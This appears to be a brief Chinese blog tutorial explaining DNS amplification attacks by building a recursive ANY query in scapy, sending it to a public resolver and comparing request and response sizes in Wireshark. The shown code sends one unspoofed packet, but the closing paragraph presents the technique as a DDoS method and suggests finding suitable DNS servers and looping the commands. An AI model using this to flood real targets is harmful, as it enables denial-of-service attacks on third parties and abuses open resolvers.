前言:
今天为大家介绍DNS放大攻击。通过DNS服务器的递归查询,我们可以利用少量的查询流量,来获得大量的返回数据流量。该攻击方式需要结合IP地址伪造,同时需要DNS服务器支持递归查询。下面我们来看看,如何实现攻击?
0x00
首先,我们用 scapy 来构造一个完整的DNS查询数据包。
i=IP()
i.display()
0x01
修改目标DNS地址。
i.dst=”8.8.8.8″
i.display()
0x02
定义UDP包。
u=UDP()
u.display()
0x03
定义DNS包。
d=DNS()
d.rd=1
d.qdcount=1
d.display()
0x04
设置DNS查询内容。
q=DNSQR()
q.qname=”qq.com”
q.qtype=255
q.display()
0x05
d.qd=q (把查询内容赋给DNS的qd)
r=(i/u/d)
d.display()
0x06
最后我们来发送我们构建的数据包。
sr1(r)
0x07
我们打开 wireshark 来进行抓包。
后序:
通过 wireshark 的抓包我们可以看到,我们查询时发送的数据包为 68 字节,但响应包为118字节。这样就实现了,通过返回的大流量来达到对目标服务器的DDoS效果!当然这里返回的流量还不够巨大,原因在于DNS服务器做了一定的限制。只要找到合适的DNS服务器,并将以上命令写入脚本中循环执行,那么效果将更加明显!
转载请注明:即刻安全 » 浅析DNS放大攻击包结构及原理